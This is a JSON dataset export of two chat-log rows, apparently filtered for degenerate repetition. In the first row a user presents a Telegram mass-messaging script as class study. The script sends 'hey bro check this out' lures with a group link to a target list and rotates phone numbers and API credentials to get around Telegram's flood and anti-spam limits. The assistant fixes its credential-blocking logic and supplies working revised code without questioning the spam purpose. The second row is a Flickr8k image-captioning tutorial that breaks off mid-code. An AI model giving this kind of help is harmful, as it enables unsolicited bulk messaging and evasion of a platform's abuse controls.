{"behavior":"degenerate_repetition","label_filter":null,"limit":10,"next_offset":35240,"offset":35230,"previous_offset":null,"rows":[{"assistant_initiates":false,"asst_text":"The issue you're encountering is due to how the script currently handles exceptions during the creation of the Telegram client. Specifically, when the API ID and API Hash combination is invalid, the script mistakenly adds the phone number to the blocked list instead of blocking the invalid API credentials.\n\n**Problem Explanation:**\n\nIn your script, the `get_or_create_client` function is responsible for creating or loading a session for a given phone number using specific API credentials (API ID and API Hash). If this function fails (returns `None`), the script assumes that the phone number is to blame and adds it to the blocked numbers list.\n\nHere's the relevant part of your script:\n\n```python\nif client is None:\n # Phone number is likely blocked or failed to connect\n blocked_numbers.add(phone_number)\n with open(BLOCKED_FILE, 'w') as f:\n json.dump(list(blocked_numbers), f)\n logging.info(f\"Added {phone_number} to blocked numbers.\")\n continue\n```\n\nHowever, `get_or_create_client` can fail for reasons unrelated to the phone number, such as an invalid API ID/API Hash combination. When this happens, the exception is caught, and the function returns `None`, leading to the phone number being wrongly blocked.\n\n**Solution: Handle Invalid API Credentials Separately**\n\nTo fix this issue, we need to adjust the exception handling in the `get_or_create_client` function to correctly identify when the failure is due to invalid API credentials. When such an error occurs, we should block the API ID and API Hash combination instead of the phone number.\n\nHere's how you can modify your script to achieve this:\n\n1. **Modify Exception Handling in `get_or_create_client`:**\n\n In the `get_or_create_client` function, catch exceptions related to invalid API credentials and re-raise them so that they can be handled appropriately in the `main` function.\n\n ```python\n from telethon.errors import ApiIdInvalidError\n\n async def get_or_create_client(phone_number, credentials):\n # ... (rest of your function)\n try:\n await client.send_code_request(phone_number)\n # ... (rest of your code)\n except errors.ApiIdInvalidError:\n logging.error(f\"Invalid API ID {api_id} and API Hash {api_hash} combination for phone {phone_number}.\")\n raise # Re-raise the exception to be handled in the caller.\n except Exception as e:\n logging.error(f\"Failed to create session for {phone_number} using API ID {api_id}: {e}\")\n return None\n ```\n\n By re-raising `errors.ApiIdInvalidError`, you allow the calling function to distinguish between different types of failures.\n\n2. **Handle the Exception in the `main` Function:**\n\n Modify the `main` function to catch the `ApiIdInvalidError` and block the API credentials instead of the phone number.\n\n ```python\n async def main():\n # ... (your existing code)\n\n while available_api_credentials:\n creds = available_api_credentials.pop(0)\n api_id = creds['api_id']\n api_hash = creds['api_hash']\n api_key = creds['api_key']\n\n logging.info(f\"Processing with API ID {api_id} and API Hash {api_hash}\")\n\n # Start from the beginning of the phone number list for each new API credential\n phone_numbers_to_try = phone_numbers.copy()\n\n phone_number_index = 0\n api_blocked = False\n\n while phone_number_index < len(phone_numbers_to_try):\n phone_number = phone_numbers_to_try[phone_number_index]\n phone_number_index += 1\n\n # Skip blocked phone numbers\n if phone_number in blocked_numbers:\n continue\n\n try:\n client = await get_or_create_client(phone_number, {'api_id': api_id, 'api_hash': api_hash})\n except errors.ApiIdInvalidError:\n # Invalid API ID/Hash\n blocked_api_ids.add(api_key)\n with open(BLOCKED_API_FILE, 'w') as f:\n json.dump(list(blocked_api_ids), f)\n logging.info(f\"Added API ID {api_id} and API Hash to blocked API IDs.\")\n api_blocked = True\n break # Exit the phone number loop to move to the next API credential\n \n if client is None:\n # Phone number is likely blocked or failed to connect\n blocked_numbers.add(phone_number)\n with open(BLOCKED_FILE, 'w') as f:\n json.dump(list(blocked_numbers), f)\n logging.info(f\"Added {phone_number} to blocked numbers.\")\n continue\n\n # ... (rest of your code)\n ```\n\n By catching `errors.ApiIdInvalidError`, you ensure that invalid API credentials are blocked, and the phone number is not wrongfully added to the blocked numbers list.\n\n3. **Implement a Fallback for Unrecognized Errors:**\n\n In the `get_or_create_client` function, you can also check the error message for the specific text if you want to be thorough:\n\n ```python\n except Exception as e:\n error_message = str(e)\n if 'The api_id/api_hash combination is invalid' in error_message:\n logging.error(f\"Invalid API ID {api_id} and API Hash {api_hash} combination for phone {phone_number}.\")\n raise errors.ApiIdInvalidError('Invalid API credentials')\n else:\n logging.error(f\"Failed to create session for {phone_number} using API ID {api_id}: {e}\")\n ```\n\n**Explanation of Changes:**\n\n- **Re-raising Specific Exceptions:** By re-raising `errors.ApiIdInvalidError`, we're allowing the calling function (`main`) to identify when the failure is due to invalid API credentials and handle it accordingly.\n \n- **Blocking API Credentials Instead of Phone Numbers:** In the `main` function, when an `ApiIdInvalidError` is caught, we add the API credentials to the blocked list and move on to the next set of credentials.\n\n- **Preventing Misclassification of Errors:** By handling exceptions based on their type, we avoid misclassifying errors and mistakenly blocking phone numbers when the issue lies elsewhere.\n\n**Summary:**\n\nThe script adds phone numbers to the blocked numbers list whenever it fails to create a client for them, regardless of the error's nature. Since an invalid API ID/Hash combination is not related to the phone number's validity, the script should instead block the erroneous API credentials.\n\nBy updating the exception handling in both the `get_or_create_client` and `main` functions, you ensure that:\n\n- Invalid API credentials are correctly identified and blocked.\n- Phone numbers are only blocked when they are genuinely problematic (e.g., banned, causing peer flood errors).\n- The script behaves as intended, only blocking numbers when they receive specific errors like `PeerFloodError`.\n\n**Revised Code Snippet for `get_or_create_client`:**\n\n```python\nasync def get_or_create_client(phone_number, credentials):\n session_file = get_session_file(phone_number)\n api_id = credentials['api_id']\n api_hash = credentials['api_hash']\n client = TelegramClient(session_file, api_id, api_hash)\n\n try:\n await client.connect()\n except Exception as e:\n logging.error(f\"Failed to connect client for {phone_number} using API ID {api_id}: {e}\")\n return None\n\n if await client.is_user_authorized():\n logging.info(f\"Loaded existing session for {phone_number} using API ID {api_id}\")\n return client\n else:\n try:\n await client.send_code_request(phone_number)\n code = input(f\"Enter the authentication code for {phone_number}: \")\n await client.sign_in(phone_number, code)\n logging.info(f\"Created new session for {phone_number} using API ID {api_id}\")\n return client\n except errors.PhoneCodeInvalidError:\n logging.error(f\"Invalid authentication code for {phone_number}.\")\n except errors.PhoneCodeExpiredError:\n logging.error(f\"Authentication code expired for {phone_number}.\")\n except errors.PhoneNumberBannedError:\n logging.error(f\"Phone number {phone_number} is banned.\")\n except errors.ApiIdInvalidError:\n logging.error(f\"Invalid API ID {api_id} and API Hash {api_hash} combination.\")\n raise # Re-raise to be caught in main()\n except Exception as e:\n error_message = str(e)\n if 'The api_id/api_hash combination is invalid' in error_message:\n logging.error(f\"Invalid API ID {api_id} and API Hash {api_hash} combination.\")\n raise errors.ApiIdInvalidError('Invalid API credentials')\n logging.error(f\"Failed to create session for {phone_number} using API ID {api_id}: {e}\")\n return None\n```\n\n**Revised Code Snippet for `main`:**\n\n```python\nasync def main():\n # ... (other code)\n\n while available_api_credentials:\n # ... (other code)\n\n while phone_number_index < len(phone_numbers_to_try):\n phone_number = phone_numbers_to_try[phone_number_index]\n phone_number_index += 1\n\n # ... (other code)\n\n try:\n client = await get_or_create_client(phone_number, {'api_id': api_id, 'api_hash': api_hash})\n except errors.ApiIdInvalidError:\n # Invalid API ID/Hash\n blocked_api_ids.add(api_key)\n with open(BLOCKED_API_FILE, 'w') as f:\n json.dump(list(blocked_api_ids), f)\n logging.info(f\"Added API ID {api_id} and API Hash to blocked API IDs.\")\n api_blocked = True\n break # Exit the phone number loop to move to the next API credential\n\n if client is None:\n # Phone number is likely blocked or failed to connect\n blocked_numbers.add(phone_number)\n with open(BLOCKED_FILE, 'w') as f:\n json.dump(list(blocked_numbers), f)\n logging.info(f\"Added {phone_number} to blocked numbers.\")\n continue\n\n # ... (rest of your code)\n```\n\n**Recommendation:**\n\n- **Testing:** After making these changes, test your script with known invalid API credentials to confirm that they are correctly blocked without affecting valid phone numbers.\n- **Logging:** Ensure your logging provides clear information so you can track which API credentials and phone numbers are being blocked.\n\nBy implementing these adjustments, your script will only block phone numbers when they receive specific errors like `PeerFloodError` and handle invalid API credentials appropriately.","behavior":"degenerate_repetition","conversation_hash":"ccd2b4f8738dd68a39687ea28bb68bf6","conversation_redacted":true,"conversation_toxic":false,"country":"Germany","empty_output":false,"evidence_codes":[],"label":"absent","label_present":false,"label_qualified":false,"label_source":"Final dense release","language":"English","model":"o1-preview-2024-09-12","n_chars":30545,"n_turns_in_conversation":1,"n_words":3139,"source_row_offset":35230,"source_shard":"turns-00031.parquet","timestamp":"Mon, 07 Oct 2024 10:02:49 GMT","turn_id":"ea74393f6d1a45d5380f0730","turn_index":0,"user_text":"I am studying this script for a class im taking for cybersecurity.\n\n It shouldn't block numbers with this error, only if they get the peerflood error.\n\n2024-10-07 04:56:46 - ERROR - Failed to create session for using API ID 22943488: The api_id/api_hash combination is invalid (caused by SendCodeRequest)\n2024-10-07 04:56:46 - INFO - Added to blocked numbers.\n\nwhy does it do that? This is the script\n\nimport asyncio\nimport json\nimport logging\nimport os\nfrom telethon import TelegramClient, errors, Button\nfrom collections import defaultdict\n\n# ----------------------------- Configuration -----------------------------\n\n# Configure logging\nlogging.basicConfig(\n filename='bot_log.log', # Log file name\n level=logging.INFO, # Log level\n format='%(asctime)s - %(levelname)s - %(message)s', # Log format\n datefmt='%Y-%m-%d %H:%M:%S' # Date format\n)\n\n# Configuration Constants\nGROUP_LINK = 'https://t.me/rocketproxyupdates' # Telegram group link\nBUTTON_TEXT = 'Join Our Telegram Group' # Text displayed on the button\n\nUSER_LIST_FILE = 'targets.json' # JSON file containing target users\nSENT_FILE = 'sent.json' # JSON file to track sent users\nAPI_CONFIG_FILE = 'clean_accounts.json' # JSON file containing API IDs and Hashes\nPHONE_NUMBERS_FILE = 'phone_numbers.json' # JSON file containing phone numbers\nBLOCKED_FILE = 'blocked_numbers.json' # JSON file to track blocked phone numbers\nBLOCKED_API_FILE = 'blocked_api_ids.json' # JSON file to track blocked API IDs/hashes\n\n# Directory to store session files\nSESSION_DIR = 'sessions'\n\n# Create the sessions directory if it doesn't exist\nif not os.path.exists(SESSION_DIR):\n os.makedirs(SESSION_DIR)\n\n# Rate Limiting Constants\nWAIT_TIME_BASE = 2 # Base wait time in seconds between messages\nWAIT_TIME_FACTOR = 2 # Additional wait time factor based on errors\nMAX_WAIT_TIME = 3600 # Maximum wait time in seconds (1 hour)\n\n# Source chat information\nFORWARD_SOURCE_CHAT_ID = 'rocketproxyupdates' # Telegram chat to fetch messages from\n\n# ----------------------------- Functions -----------------------------\n\ndef read_api_config(filename, blocked_api_ids):\n \"\"\"\n Reads API IDs and Hashes from the specified JSON file, excluding blocked ones.\n\n Args:\n filename (str): Path to the JSON configuration file.\n blocked_api_ids (set): Set of blocked API IDs/hashes.\n\n Returns:\n list: List of dictionaries containing 'api_id', 'api_hash', and 'api_key'.\n\n Raises:\n ValueError: If the number of API IDs and Hashes do not match.\n \"\"\"\n with open(filename, 'r') as f:\n data = json.load(f)\n api_ids = data.get('API_ID_LIST', [])\n api_hashes = data.get('API_HASH_LIST', [])\n if len(api_ids) != len(api_hashes):\n logging.error(\"API_ID_LIST and API_HASH_LIST must be of the same length.\")\n raise ValueError(\"API_ID_LIST and API_HASH_LIST must be of the same length.\")\n api_credentials = []\n for api_id, api_hash in zip(api_ids, api_hashes):\n api_key = f\"{api_id}_{api_hash}\"\n if api_key not in blocked_api_ids:\n api_credentials.append({'api_id': api_id, 'api_hash': api_hash, 'api_key': api_key})\n return api_credentials\n\ndef read_phone_numbers(filename, blocked_numbers):\n \"\"\"\n Reads phone numbers from the specified JSON file, excluding blocked numbers.\n\n Args:\n filename (str): Path to the JSON file containing phone numbers.\n blocked_numbers (set): Set of blocked phone numbers.\n\n Returns:\n list: A list of phone numbers in international format.\n \"\"\"\n with open(filename, 'r') as f:\n phone_numbers = json.load(f)\n # Exclude blocked numbers\n return [phone for phone in phone_numbers if phone not in blocked_numbers]\n\ndef sanitize_phone_number(phone_number):\n \"\"\"\n Sanitizes the phone number to create a valid filename.\n\n Args:\n phone_number (str): Phone number in international format.\n\n Returns:\n str: Sanitized phone number suitable for filenames.\n \"\"\"\n return phone_number.replace('+', '').replace(' ', '').replace('-', '').replace('(', '').replace(')', '')\n\ndef get_session_file(phone_number):\n \"\"\"\n Generates the session file path for a given phone number.\n\n Args:\n phone_number (str): Phone number in international format.\n\n Returns:\n str: Path to the session file.\n \"\"\"\n sanitized_number = sanitize_phone_number(phone_number)\n return os.path.join(SESSION_DIR, f'session_{sanitized_number}.session')\n\nasync def get_or_create_client(phone_number, credentials):\n \"\"\"\n Creates a new Telegram client or loads an existing session for a given phone number.\n\n Args:\n phone_number (str): Phone number in international format.\n credentials (dict): Dictionary containing 'api_id' and 'api_hash'.\n\n Returns:\n TelegramClient or None: The Telegram client instance or None if failed.\n \"\"\"\n session_file = get_session_file(phone_number)\n api_id = credentials['api_id']\n api_hash = credentials['api_hash']\n client = TelegramClient(session_file, api_id, api_hash)\n\n try:\n await client.connect()\n except Exception as e:\n logging.error(f\"Failed to connect client for {phone_number} using API ID {api_id}: {e}\")\n return None\n\n if await client.is_user_authorized():\n logging.info(f\"Loaded existing session for {phone_number} using API ID {api_id}\")\n return client\n else:\n try:\n await client.send_code_request(phone_number)\n code = input(f\"Enter the authentication code for {phone_number}: \")\n await client.sign_in(phone_number, code)\n logging.info(f\"Created new session for {phone_number} using API ID {api_id}\")\n return client\n except errors.PhoneCodeInvalidError:\n logging.error(f\"Invalid authentication code for {phone_number}.\")\n except errors.PhoneCodeExpiredError:\n logging.error(f\"Authentication code expired for {phone_number}.\")\n except errors.PhoneNumberBannedError:\n logging.error(f\"Phone number {phone_number} is banned.\")\n except Exception as e:\n logging.error(f\"Failed to create session for {phone_number} using API ID {api_id}: {e}\")\n return None\n\nasync def forward_to_user(client, user, source_chat_entity, message_id, phone_number):\n \"\"\"\n Forwards a message from the source chat to the target user.\n\n Args:\n client (TelegramClient): The Telegram client instance.\n user (dict): Dictionary containing user information (e.g., {'username': 'example_user'}).\n source_chat_entity: The source chat entity from which to forward messages.\n message_id (int): The ID of the message to forward.\n phone_number (str): The phone number associated with the client.\n\n Returns:\n Message or None: The forwarded message or None if failed.\n \"\"\"\n try:\n forwarded_message = await client.forward_messages(\n entity=user['username'],\n messages=message_id,\n from_peer=source_chat_entity\n )\n logging.info(f\"Forwarded message to '{user['username']}' using API ID {client.api_id} and phone {phone_number}\")\n return forwarded_message\n except errors.FloodWaitError as e:\n wait_time = max(WAIT_TIME_BASE, e.seconds + WAIT_TIME_FACTOR)\n logging.warning(f\"Flood wait error for phone {phone_number} on API ID {client.api_id}: Waiting for {wait_time} seconds before retrying.\")\n await asyncio.sleep(wait_time)\n raise e # Re-raise the exception to be caught in main()\n except errors.UsernameNotOccupiedError:\n logging.warning(f\"No user has the username '{user['username']}' for phone {phone_number} using API ID {client.api_id}.\")\n return None\n except errors.PeerFloodError as e:\n logging.error(f\"Peer flood error when forwarding message to '{user['username']}' using API ID {client.api_id} and phone {phone_number}.\")\n logging.error(f\"Details: {e}\") # Log exception details\n raise e # Re-raise the exception to be caught in main()\n except Exception as e:\n logging.error(f\"Failed to forward message to '{user['username']}' using API ID {client.api_id} and phone {phone_number}. Error: {e}\")\n return None\n\nasync def send_button_message(client, user, phone_number, reply_to_msg_id=None):\n \"\"\"\n Sends a message with a button to the target user.\n\n Args:\n client (TelegramClient): The Telegram client instance.\n user (dict): Dictionary containing user information (e.g., {'username': 'example_user'}).\n phone_number (str): The phone number associated with the client.\n reply_to_msg_id (int, optional): The message ID to reply to. Defaults to None.\n\n Returns:\n bool: True if the message was sent successfully, False otherwise.\n \"\"\"\n try:\n message_text = \"hey bro check this out\"\n \n # Send the message to the user with a button\n await client.send_message(\n entity=user['username'],\n message=message_text,\n buttons=[Button.url(BUTTON_TEXT, GROUP_LINK)]\n )\n \n logging.info(f\"Sent message to '{user['username']}' using API ID {client.api_id} and phone {phone_number}\")\n await asyncio.sleep(1)\n return True\n\n except errors.FloodWaitError as e:\n wait_time = max(WAIT_TIME_BASE, e.seconds + WAIT_TIME_FACTOR)\n logging.warning(f\"Flood wait error for phone {phone_number} on API ID {client.api_id}: Waiting for {wait_time} seconds before retrying.\")\n await asyncio.sleep(wait_time)\n raise e # Re-raise the exception to be caught in main()\n\n except errors.UsernameNotOccupiedError:\n logging.warning(f\"No user has the username '{user['username']}' for phone {phone_number} using API ID {client.api_id}.\")\n return False\n\n except errors.PeerFloodError as e:\n logging.error(f\"Peer flood error when sending message to '{user['username']}' using API ID {client.api_id} and phone {phone_number}.\")\n logging.error(f\"Details: {e}\") # Log exception details\n raise e # Re-raise the exception to be caught in main()\n\n except Exception as e:\n logging.error(f\"Failed to send message to '{user['username']}' using API ID {client.api_id} and phone {phone_number}. Error: {e}\")\n return False\n\nasync def get_source_chat_and_message(client, phone_number):\n \"\"\"\n Retrieves the source chat entity and the latest message ID.\n\n Args:\n client (TelegramClient): The Telegram client instance.\n phone_number (str): The phone number associated with the client.\n\n Returns:\n tuple: Source chat entity and the latest message ID.\n \"\"\"\n try:\n source_chat = await client.get_entity(FORWARD_SOURCE_CHAT_ID)\n except Exception as e:\n logging.error(f\"Error resolving source chat '{FORWARD_SOURCE_CHAT_ID}' for phone {phone_number} using API ID {client.api_id}: {e}\")\n return None, None\n\n try:\n message = await client.get_messages(source_chat, limit=1)\n if not message:\n logging.warning(f\"No messages found in the source chat '{FORWARD_SOURCE_CHAT_ID}' for phone {phone_number} using API ID {client.api_id}.\")\n return source_chat, None\n return source_chat, message[0].id\n except Exception as e:\n logging.error(f\"Error fetching messages from '{FORWARD_SOURCE_CHAT_ID}' for phone {phone_number} using API ID {client.api_id}: {e}\")\n return source_chat, None\n\n# ----------------------------- Main Function -----------------------------\n\nasync def main():\n \"\"\"\n The main function that orchestrates reading configurations, assigning API credentials,\n creating/loading clients, sending messages, forwarding messages, and handling rate limits.\n \"\"\"\n # Load blocked numbers\n blocked_numbers = set()\n if os.path.exists(BLOCKED_FILE):\n try:\n with open(BLOCKED_FILE, 'r') as f:\n blocked_numbers = set(json.load(f))\n logging.info(f\"Loaded {len(blocked_numbers)} blocked phone numbers.\")\n except Exception as e:\n logging.error(f\"Failed to read blocked numbers from '{BLOCKED_FILE}': {e}\")\n return\n else:\n logging.info(\"No blocked phone numbers found. Starting fresh.\")\n\n # Load blocked API IDs/hashes\n blocked_api_ids = set()\n if os.path.exists(BLOCKED_API_FILE):\n try:\n with open(BLOCKED_API_FILE, 'r') as f:\n blocked_api_ids = set(json.load(f))\n logging.info(f\"Loaded {len(blocked_api_ids)} blocked API IDs/hashes.\")\n except Exception as e:\n logging.error(f\"Failed to read blocked API IDs/hashes from '{BLOCKED_API_FILE}': {e}\")\n return\n else:\n logging.info(\"No blocked API IDs/hashes found. Starting fresh.\")\n\n # Load API credentials, excluding blocked ones\n try:\n api_credentials = read_api_config(API_CONFIG_FILE, blocked_api_ids)\n logging.info(f\"Loaded {len(api_credentials)} API credentials after excluding blocked ones.\")\n except Exception as e:\n logging.error(f\"Failed to read API configuration: {e}\")\n return\n\n # Load phone numbers, excluding blocked ones\n try:\n phone_numbers = read_phone_numbers(PHONE_NUMBERS_FILE, blocked_numbers)\n logging.info(f\"Loaded {len(phone_numbers)} phone numbers after excluding blocked numbers.\")\n except Exception as e:\n logging.error(f\"Failed to read phone numbers: {e}\")\n return\n\n # Load target users\n try:\n with open(USER_LIST_FILE, 'r') as f:\n users = json.load(f)\n logging.info(f\"Loaded {len(users)} target users.\")\n except Exception as e:\n logging.error(f\"Failed to read target users from '{USER_LIST_FILE}': {e}\")\n return\n\n # Load already sent users to prevent duplicates\n sent_users = set()\n if os.path.exists(SENT_FILE):\n try:\n with open(SENT_FILE, 'r') as f:\n sent_users = set(json.load(f))\n logging.info(f\"Loaded {len(sent_users)} already sent users.\")\n except Exception as e:\n logging.error(f\"Failed to read sent users from '{SENT_FILE}': {e}\")\n return\n else:\n logging.info(\"No sent users found. Starting fresh.\")\n\n # Initialize error tracking\n error_counts_phone_number = defaultdict(lambda: defaultdict(set))\n error_counts_api = defaultdict(lambda: defaultdict(set))\n\n # While there are API credentials to try\n available_api_credentials = api_credentials.copy()\n\n while available_api_credentials:\n creds = available_api_credentials.pop(0)\n api_id = creds['api_id']\n api_hash = creds['api_hash']\n api_key = creds['api_key']\n\n logging.info(f\"Processing with API ID {api_id} and API Hash {api_hash}\")\n\n # Start from the beginning of the phone number list for each new API credential\n phone_numbers_to_try = phone_numbers.copy()\n\n phone_number_index = 0\n api_blocked = False\n\n while phone_number_index < len(phone_numbers_to_try):\n phone_number = phone_numbers_to_try[phone_number_index]\n phone_number_index += 1\n\n # Skip blocked phone numbers\n if phone_number in blocked_numbers:\n continue\n\n client = await get_or_create_client(phone_number, {'api_id': api_id, 'api_hash': api_hash})\n\n if client is None:\n # Phone number is likely blocked or failed to connect\n blocked_numbers.add(phone_number)\n with open(BLOCKED_FILE, 'w') as f:\n json.dump(list(blocked_numbers), f)\n logging.info(f\"Added {phone_number} to blocked numbers.\")\n continue\n\n try:\n # Retrieve the latest message from the source chat\n source_chat_entity, message_id = await get_source_chat_and_message(client, phone_number)\n if not source_chat_entity or not message_id:\n logging.warning(f\"Skipping phone number '{phone_number}' due to source chat or message retrieval failure.\")\n continue\n\n # Iterate through target users\n for user in users:\n if user['username'] in sent_users:\n continue # Skip already sent users\n\n # Send button message\n await send_button_message(client, user, phone_number)\n\n # Forward the original message\n await forward_to_user(client, user, source_chat_entity, message_id, phone_number)\n\n sent_users.add(user['username'])\n # Update sent.json\n try:\n with open(SENT_FILE, 'w') as f:\n json.dump(list(sent_users), f)\n logging.info(f\"Added '{user['username']}' to sent users.\")\n except Exception as e:\n logging.error(f\"Failed to update '{SENT_FILE}': {e}\")\n\n # Wait to respect rate limits\n logging.info(f\"Waiting {WAIT_TIME_BASE} seconds before sending the next message.\")\n await asyncio.sleep(WAIT_TIME_BASE)\n\n except (errors.PeerFloodError, errors.FloodWaitError) as e:\n error_type = type(e).__name__\n\n # Update error counts\n error_counts_phone_number[phone_number][error_type].add(api_key)\n error_counts_api[api_key][error_type].add(phone_number)\n\n # Check if we should block the phone number\n if len(error_counts_phone_number[phone_number][error_type]) >= 2:\n logging.info(f\"Phone number {phone_number} failed with error {error_type} under multiple API IDs. Blocking phone number.\")\n blocked_numbers.add(phone_number)\n with open(BLOCKED_FILE, 'w') as f:\n json.dump(list(blocked_numbers), f)\n logging.info(f\"Added {phone_number} to blocked numbers.\")\n\n # Check if we should block the API credential\n if len(error_counts_api[api_key][error_type]) >= 2:\n logging.info(f\"API ID/Hash {api_key} failed with error {error_type} under multiple phone numbers. Blocking API ID/Hash.\")\n blocked_api_ids.add(api_key)\n with open(BLOCKED_API_FILE, 'w') as f:\n json.dump(list(blocked_api_ids), f)\n api_blocked = True\n break # Exit the phone number loop to move to the next API credential\n\n continue # Move to the next phone number\n\n except Exception as e:\n logging.error(f\"An unexpected error occurred with phone number {phone_number}: {e}\")\n continue\n\n finally:\n await client.disconnect()\n\n # If API credential is blocked, move to the next one\n if api_blocked:\n # Remove blocked API credential from the available list\n api_credentials = [cred for cred in api_credentials if cred['api_key'] not in blocked_api_ids]\n available_api_credentials = [cred for cred in available_api_credentials if cred['api_key'] not in blocked_api_ids]\n continue # Proceed to next API credential\n\n logging.info(\"All API credentials have been processed.\")\n\n# ----------------------------- Entry Point -----------------------------\n\nif __name__ == '__main__':\n asyncio.run(main())"},{"assistant_initiates":false,"asst_text":"# Building an Image Captioning Model with the Flickr8k Dataset: A Comprehensive Step-by-Step Guide\n\n## Table of Contents\n\n1. [Introduction](#introduction)\n2. [Prerequisites](#prerequisites)\n3. [Environment Setup](#environment-setup)\n4. [Downloading and Exploring the Flickr8k Dataset](#downloading-and-exploring-the-flickr8k-dataset)\n5. [Data Preprocessing](#data-preprocessing)\n - [Image Preprocessing](#image-preprocessing)\n - [Text (Caption) Preprocessing](#text-caption-preprocessing)\n6. [Building the Image Captioning Model](#building-the-image-captioning-model)\n - [Feature Extraction with CNN](#feature-extraction-with-cnn)\n - [Sequence Modeling with RNN](#sequence-modeling-with-rnn)\n - [Combining CNN and RNN](#combining-cnn-and-rnn)\n7. [Training the Model](#training-the-model)\n8. [Evaluating the Model](#evaluating-the-model)\n - [BLEU Score](#bleu-score)\n9. [Testing the Model](#testing-the-model)\n10. [Converting the Model to TensorFlow Lite](#converting-the-model-to-tensorflow-lite)\n11. [Deploying on Mobile](#deploying-on-mobile)\n12. [Conclusion](#conclusion)\n\n---\n\n## Introduction\n\nImage captioning is a task that involves generating descriptive captions for images using deep learning techniques. This guide will walk you through building an image captioning model using the Flickr8k dataset, covering the entire pipeline from data loading and preprocessing to model training, evaluation, and deployment on mobile devices using TensorFlow Lite.\n\n## Prerequisites\n\nBefore diving into the implementation, ensure you have a basic understanding of the following:\n\n- **Python Programming**: Familiarity with Python is essential.\n- **Deep Learning Basics**: Understanding of neural networks, especially CNNs and RNNs.\n- **TensorFlow and Keras**: Basic knowledge of TensorFlow and Keras frameworks.\n- **Natural Language Processing (NLP)**: Understanding of text preprocessing and sequence modeling.\n\n## Environment Setup\n\n### 1. Install Required Libraries\n\nEnsure you have Python 3.7 or higher installed. Install the necessary libraries using `pip`:\n\n```bash\npip install numpy pandas matplotlib tensorflow keras pillow nltk\n```\n\n### 2. Import Libraries\n\n```python\nimport os\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport string\nimport re\nimport tensorflow as tf\nfrom tensorflow.keras.applications import InceptionV3\nfrom tensorflow.keras.preprocessing import image\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\nfrom tensorflow.keras.preprocessing.text import Tokenizer\nfrom tensorflow.keras.models import Model, load_model\nfrom tensorflow.keras.layers import Input, Dense, LSTM, Embedding, Dropout, add\nfrom PIL import Image\nimport nltk\nnltk.download('punkt')\n```\n\n## Downloading and Exploring the Flickr8k Dataset\n\n### 1. Download the Dataset\n\nThe Flickr8k dataset consists of 8,000 images, each annotated with five captions. You can download the dataset from [Kaggle](https://www.kaggle.com/datasets/adityajn105/flickr8k).\n\nAlternatively, use the following script to download and extract the dataset:\n\n```bash\n# Create directories\nmkdir data\ncd data\n\n# Download images\nwget https://github.com/jbrownlee/Datasets/releases/download/Flickr8k/Flickr8k_Dataset.zip\nunzip Flickr8k_Dataset.zip\n\n# Download captions\nwget https://github.com/jbrownlee/Datasets/releases/download/Flickr8k/Flickr8k_text.zip\nunzip Flickr8k_text.zip\n```\n\n### 2. Directory Structure\n\n```\ndata/\n\u2502\n\u251c\u2500\u2500 Flickr8k_Dataset/\n\u2502 \u2514\u2500\u2500 Flickr8k/\n\u2502 \u251c\u2500\u2500 123.jpg\n\u2502 \u251c\u2500\u2500 124.jpg\n\u2502 \u2514\u2500\u2500 ...\n\u2502\n\u2514\u2500\u2500 Flickr8k_text/\n \u251c\u2500\u2500 Flickr8k.token.txt\n \u251c\u2500\u2500 Flickr_8k.trainImages.txt\n \u251c\u2500\u2500 Flickr_8k.devImages.txt\n \u2514\u2500\u2500 Flickr_8k.testImages.txt\n```\n\n## Data Preprocessing\n\nData preprocessing is crucial for preparing the images and captions for model training.\n\n### Image Preprocessing\n\nWe'll use the InceptionV3 model to extract features from images. First, load and preprocess the images.\n\n```python\nfrom tensorflow.keras.applications.inception_v3 import InceptionV3, preprocess_input\n\n# Path to images\nimage_folder = 'data/Flickr8k_Dataset/Flickr8k'\n\n# Load InceptionV3 model for feature extraction\nmodel_cnn = InceptionV3(weights='imagenet')\nmodel_cnn = Model(model_cnn.input, model_cnn.layers[-2].output)\n\ndef extract_features(img_path, model):\n img = image.load_img(img_path, target_size=(299, 299))\n x = image.img_to_array(img)\n x = np.expand_dims(x, axis=0)\n x = preprocess_input(x)\n feature = model.predict(x, verbose=0)\n return feature\n\n# Example\n# features = extract_features(os.path.join(image_folder, '123.jpg'), model_cnn)\n```\n\n**Note**: Feature extraction can be time-consuming. It's recommended to extract and save features once.\n\n#### Extract and Save Features\n\n```python\nimport pickle\n\n# Read all image names\ndef load_doc(filename):\n with open(filename, 'r') as file:\n text = file.read()\n return text\n\n# Extract features for all images\ndef extract_features_for_all_images(image_folder, model):\n features = {}\n for img_name in os.listdir(image_folder):\n if img_name.endswith('.jpg'):\n img_path = os.path.join(image_folder, img_name)\n feature = extract_features(img_path, model)\n features[img_name.split('.')[0]] = feature\n return features\n\n# Uncomment to extract features (this might take some time)\n# features = extract_features_for_all_images(image_folder, model_cnn)\n# Save to file\n# with open('features.pkl', 'wb') as f:\n# pickle.dump(features, f)\n```\n\n### Text (Caption) Preprocessing\n\nProcess captions by tokenizing, creating vocabulary, and mapping words to integers.\n\n#### 1. Load Captions\n\n```python\ndef load_doc(filename):\n with open(filename, 'r') as file:\n text = file.read()\n return text\n\n# Load captions\ndoc = load_doc('data/Flickr8k_text/Flickr8k.token.txt')\n```\n\n#### 2. Parse Captions\n\n```python\nfrom collections import defaultdict\n\ndef load_descriptions(doc):\n descriptions = defaultdict(list)\n for line in doc.strip().split('\\n'):\n tokens = line.split('\\t')\n image_id, caption = tokens[0], tokens[1]\n image_id = image_id.split('.')[0]\n caption = 'startseq ' + caption.rstrip('.').lower()\n descriptions[image_id].append(caption)\n return descriptions\n\ndescriptions = load_descriptions(doc)\nprint(list(descriptions.items())[0])\n```\n\n#### 3. Clean Captions\n\nRemove punctuation and non-alphabetic characters.\n\n```python\ndef clean_caption(caption):\n caption = caption.translate(str.maketrans('', '', string.punctuation))\n caption = re.sub(r'\\d+', '', caption)\n caption = caption.encode('ascii', 'ignore').decode('utf-8')\n caption = caption.split()\n caption = [word for word in caption if len(word) > 1]\n caption = ' '.join(caption)\n return caption\n\ndef clean_descriptions(descriptions):\n for key, captions in descriptions.items():\n descriptions[key] = [clean_caption(c) for c in captions]\n\nclean_descriptions(descriptions)\n```\n\n#### 4. Save Cleaned Captions\n\nOptionally, save the cleaned captions for future use.\n\n```python\ndef save_descriptions(descriptions, filename):\n lines = []\n for key, captions in descriptions.items():\n for caption in captions:\n lines.append(key + ' ' + caption)\n data = '\\n'.join(lines)\n with open(filename, 'w') as file:\n 